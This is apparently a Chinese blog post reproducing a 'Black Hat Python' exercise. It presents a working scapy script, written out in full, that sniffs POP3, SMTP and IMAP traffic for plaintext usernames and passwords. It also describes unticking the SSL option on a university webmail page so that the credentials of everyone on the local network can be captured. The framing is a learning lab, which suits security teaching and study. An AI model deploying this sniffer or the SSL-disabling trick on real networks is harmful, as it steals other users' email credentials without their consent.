天天看点

python渗透测试入门之窃取邮箱密码

作者:ailx10
python渗透测试入门之窃取邮箱密码

近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》,书中一共24个实验,今天复现第8个实验(抓取邮箱密码),我的测试环境是mbp电脑+kali虚拟机+conda开发环境。使用中科大邮箱(备注:马上要高考了,欢迎报考中科大,我们是终身邮箱哦~),这里默认打上了SSL安全登录,修改前端页面代码就可以绕过限制,便能轻松抓取局域网所有用户和密码,前提是取消SSL打勾,现在主流邮箱都已经加密了,所有只有在实验环境下才能成功~

python渗透测试入门之窃取邮箱密码

ailx10

网络安全优秀回答者

网络安全硕士

去咨询

1、2015年上学的时候SSL还没有打勾,现在安全要求高了,默认打勾了,需要修改一下前端页面,取消打勾,否则抓取不到明文

python渗透测试入门之窃取邮箱密码

2、在mbp上运行脚本,并访问中科大邮箱,就能抓取到邮箱的用户名和密码的明文,如果打勾SSL,就看不到明文了

python渗透测试入门之窃取邮箱密码

3、在kali虚拟机上访问中科大邮箱,同样可以抓取到用户名和密码,也就是说只要是局域网里面的所有人访问中科大邮箱,都能抓取到他们的用户名和密码

python渗透测试入门之窃取邮箱密码

参考代码:

# -*- coding: utf-8 -*-
# @Time    : 2022/6/6 7:35 PM
# @Author  : ailx10
# @File    : mail_sniffer.py

from scapy.all import *
from scapy.layers.inet import IP,TCP
from scapy.config import conf
conf.use_pcap = True

def packet_callback(packet):
    if packet.haslayer(TCP):
        if packet[TCP].payload:
            mypacket = str(packet[TCP].payload)
            if "user" in mypacket.lower() or "pass" in mypacket.lower():
                print(f"[*] Destination :{packet[IP].dst}")
                print(f"[*] {str(packet[TCP].payload)}")

def main():
    sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)

if __name__ == "__main__":
    main()           
python渗透测试入门之窃取邮箱密码

发布于 2022-06-06 19:54

继续阅读